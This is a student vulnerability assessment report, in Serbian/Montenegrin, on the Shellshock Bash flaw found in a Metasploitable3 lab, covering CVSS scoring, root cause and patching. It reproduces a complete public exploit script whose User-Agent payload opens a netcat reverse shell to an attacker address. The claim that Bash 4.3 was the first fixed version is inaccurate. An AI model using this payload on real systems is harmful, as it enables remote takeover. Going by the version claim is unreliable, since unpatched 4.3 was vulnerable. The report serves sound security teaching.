Vulnerability Assessment Report

Ime i prezime: Nemanja Milutinović
Tim: 5
Datum: 27.10.2024.
Scan Tool: Nessus (10.8.3)
Test okruženje: Metasploitable3

---

1. Enumeracija CVE-a

- **CVE ID: CVE-2014-6271**

- **Opis:**

  Ranjivost CVE-2014-6271 poznata kao Shellshock, omogućava napadačima da izvrše kod kroz udaljen pristup tako što navedu taj kod nakon definicije funkcije u okviru promjenljivih okruženja(eng. environment variables). Odnosno, ranjivost se odnosi na način na koji Bash obrađuje funkcije definisane unutar promjenljivih okruženja.
  Ova ranjivost može pogoditi servise koji koriste Bash za pokretanje skripti ili upravljanje promjenljivim okruženja, a najviše se spominju:

  Apache HTTP server koji radi na portu 80 za HTTP odnosno 443 za HTTPS protokol. Ranjivost se može iskoristiti putem mod_cgi i mod_cgid modula, gdje su CGI skripte koje pozivaju bash ranjive na manipulaciju kroz HTTP zaglavanja, kao što je na primjer User-Agent, gdje je moguće na prethodno opisani način definisati izvršivi kod.

  OpenSSH sshd server preko porta 22 za SSH protokol. Kroz opciju ForceCommand, koja koristi Bash za izvršavanje specifičnih komandi prilikom povezivanja korisnika, napadači mogu ubaciti komande koje će se izvršiti prilikom SSH povezivanja.

  DHCP klijenti, koju uglavnom komuniciraju preko UDP portova 67 i 68, mogu koristiti Bash za obradu mrežnih parametara. Ako napadač ima pristup DHCP serveru, može poslati podatke koji pokreću proizvoljne komande na DHCP klijentu.

---

2. CVSS skor

- **CVSS skor (numerička vrednost):** 9.8
- **Vektor:**
  Vektor string je sljedeći CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. U nastavku slijedi opis svake pojedinačne komponente:
  AV:N - ova ranjivost može biti iskorištena sa udaljene mreže, što znači da napad ne mora imati fizički pristup sistemu odnosno da je dovoljno da može slati zahtjeve putem mreže tj. kroz udaljen pristup.
  AC:L - ova ranjivost je jednostavna i napad je lako izvesti, jer je dovoljno poznavanje definisanja funkcije u okviru promjenljivih okruženja i skripta implementacija onoga što želimo da uradimo.
  PR:N - napadač ne mora imati nikakve posebne privilegije ili pristup sistemu da bi iskoristio ovu ranjivost
  UI:N - interakcija sa korisnikom sistema nije potrebna jer se i bez njega može izvesti napad, jer je dovoljan samo pristup sistemu koji koristi navedeni Bash
  S:U - eksploatacija ranjivosti ne mijenja nivo pristupa napadača izvan onog što mu ranjivost već omogućava unutar sistema
  C:H - ranjivost ugrožava povjerljivost podataka jer omogućava napadaču pristup osjetljivim podacima
  I:H - samim tim što napadač kroz ovu ranjivost ima mogućnost izmjene podataka, integritet je značajno narušen
  A:H - ranjivost ugrožava dostupnost sistema, jer napadač može napraviti za neke usluge da su nedostupne ili da ih u potpunosti zaustavi

- **Opravdanje:**
  Prethodno navedeni skor ću pokušati opravdati u nastavku kroz navođenje eksploatabilnosti, uticaja i obima ranjivosti.
  Ukoliko uzmemo u obzir eksploatabilnost možemo zaključiti da je veoma jednostavna. Napadač može na primjer kao što je već spomenuto, u okviru HTTP zaglavlja, da umetne neki zlonamjeran kod koji će se izvršiti.
  Što se tiče uticaja(eng. impact) - moguće je narušiti i povjerljivost u smislu da napadač može pristupiti osjetljivim informacijama, integritet - samim tim što može mijenjati podatke kao i dostupnost - sa tim što može prekinuti određene usluge.
  Uzimanjem u obzir prethodna dva objašnjenja, skor bi trebalo da je 10.0 ali jedna od stavki koja smanjuje taj skor jeste obim ranjivosti jer napadači ne mogu da steknu veći nivo pristupa samo korištenjem ranjivosti.

---

3. Dostupnost eksploita

- **Postoji javno dostupan eksploit (Da/Ne):**
  Postoji više dostupnih javnih eksploita a jedan od njih je dostupan na sljedećem linku - https://www.exploit-db.com/exploits/40938 . Na sljedećem linku u sekciji hyperlink pod tagovima exploit u resource koloni se mogu naći javni eksploiti: https://nvd.nist.gov/vuln/detail/cve-2014-6271

- **Opis eksploita:**
  Navedeni eksploit je namjenjen za servere koji koriste RedStar OS 3.0 i on cilja Webmin alate kao što su BEAM i RSSMON. Ovi alati rade sa adminskim privilegijama, što znači da imaju potpunu kontrolnu nad sistemom. Samim tim napadač može izvršiti komande kao admin ali rezultat izvršavanja tih komandi ne može odmah vidjeti, odnosno ne vidi izlaz tih komandi. Način na koji funkcioniše ovaj eksploit, pošto je skripta, jeste da se ona pozove sa prosljeđenim parametrima, na sledeći način:

  ```
  python rsshellshock.py beam 192.168.0.31 10000 192.168.0.10 8080
  ```

  Beam - označava da eksploatacija cilja BEAM servis
  192.168.0.31 - to je adresa servera koji koristi RedStar OS i na kojem je pokrenut BEAM servis
  10000 - to je port na kojem bi trebalo da se nalazi BEAM servis na navedenoj ip adresi
  192.168.0.10 - to je adresa na kojoj će se uspostaviti povratna veza
  8080 - to je port na mašini napadača na kojem će čekati na dolazne veze
  Potencijalne posljedice jesu preuzimanje potpune kontrole nad serverom, krađa povjerljivih informacija ili upotreba servera za dalje napade

- **Kod eksploita (ukoliko postoji):**
  U sljedećem navedenom kodu je prikazan eksploit

```
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import subprocess
import requests
import sys
import os

def spawn_shell(cbport):
    subprocess.call('nc -l ' + cbport, shell=True)

def shellshock(soft,ip,port,cbip,cbport):
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    if soft == "beam":
        user_agent = {'User-agent': '() { :; }; /bin/bash -c "rm /tmp/.f;mkfifo /tmp/.f;cat /tmp/.f|/bin/sh -i 2>&1|nc '+cbip+' '+cbport+' >/tmp/.f"'
    else:
        shellstring = '() { :; }; /bin/bash -c "%s"' % (cbip)
        user_agent = {'User-agent': shellstring}
    print "[-] exploiting shellshock CVE-2014-6271..."
    myreq = requests.get("https://"+ip+":"+port+"/session_login.cgi", headers = user_agent, verify=False)

if __name__ == "__main__":
    print "[+] RedStar OS 3.0 Server (BEAM & RSSMON) shellshock exploit"
    if len(sys.argv) < 5:
        print "[-] Use with <beam> <host> <port> <connectback ip> <connectback port>"
        print "[-] Or with <rssmon> <host> <port> <cmd>"
        sys.exit()
    if(sys.argv[1]=="beam"):
        newRef=os.fork()
        if newRef==0:
            shellshock(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4],sys.argv[5])
        else:
            spawn_shell(sys.argv[5])
    else:
        shellshock(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4],0)
```

U okviru funkcije spawn_shell se poziva nc komanda sa argumentom -l na portu koji je definisan parametrom funkcije cbport, što omogućava da se slušaju dolazne konekcije na portu cbport.

U funkciji shellshock se u User-Agent zaglavlju ubacuje bash kod. Kada je soft postavljen na “beam”, koristi se specifičan User-Agent za uspostavljanje povratne veze(eng. Reverse shell) ka napadačevoj mašini, gdje se koristi FIFO fajl tj /tmp/.f da bi se omogućio prenos podataka

Ako je soft nešto drugo, npr. Rssmon, koristi drugačiji User-Agent, koji pokreće komandu direktno.

Samo pokretanje glavne skripte razlikuje dva slučaja, a to je da li je prosljeđen beam ili naziv nekog drugog servisa kao parametar. Ukoliko je beam onda se potencijalno pozivaju obje funkcije i shellshock i spawn_shell, dok u suprotnom se poziva samo shellshock.

---

4. Analiza uzroka (root cause)

- **Uvođenje Greške (Commit/Verzija):**

  Ranjivost je dio Bash-a od samog početka podrške za funkcije definisane u promjenljivim okruženja, uvedene u verziji 1.03, objavljenoj 1989. godine. Ranjivost je bila prisutna preko 20 godina do njenog otkrića. Otkrio je Stephane Chazelas.

- **Primer Koda (ako je primenljivo):**

  Jedan primjer koda koji je glavni krivac ne postoji, jer postoji mnogo mijesta na kojima kod utice na ranjivost. Izdvojio bih sledeći kod koji sam našao na github repozitorijumu bash-a verzije 4.2:

```
void
initialize_shell_variables (env, privmode)
     char **env;
     int privmode;
{
  char *name, *string, *temp_string;
  int c, char_index, string_index, string_length;
  SHELL_VAR *temp_var;

  create_variable_tables ();

  for (string_index = 0; string = env[string_index++]; )
    {
      char_index = 0;
      name = string;
      while ((c = *string++) && c != '=')
        ;
      if (string[-1] == '=')
        char_index = string - name - 1;

      /* If there are weird things in the environment, like `=xxx' or a
         string without an `=', just skip them. */
      if (char_index == 0)
        continue;

      /* ASSERT(name[char_index] == '=') */
      name[char_index] = '\0';
      /* Now, name = env variable name, string = env variable value, and
         char_index == strlen (name) */

      temp_var = (SHELL_VAR *)NULL;

      /* If exported function, define it now.  Don't import functions from
         the environment in privileged mode. */
      if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
        {
          string_length = strlen (string);
          temp_string = (char *)xmalloc (3 + string_length + char_index);

          strcpy (temp_string, name);
          temp_string[char_index] = ' ';
          strcpy (temp_string + char_index + 1, string);

          parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
```

Na osnovu koda prikazanog na slici možemo da vidimo da parse_and_execute funkcija izvršava sve što dolazi nakon definisane funkcije, što je jedna od ključnih osobina Shellshock-a.

---

5. Preporuke za mitigaciju

- **Da li je dostupan Vendor Fix ili patch (Da/Ne):** Da

  Prva verzija bash-a koja je ispravila ovu ranjivost jeste Bash 4.3.
  Trenutna verzija je riješila ovu ranjivost, tako da je dovoljno da se uradi upgrade na najnoviju verziju bash-a.
- **Mitigation Strategy:**
  Ukoliko govorimo o ubuntu sistemu, sledeće rješenje se predlaže, koristeći terminal i apt:
  sudo apt-get update sudo
  apt-get install --only-upgrade bash
  Na ovaj način se automatski rješavamo navedene ranjivosti.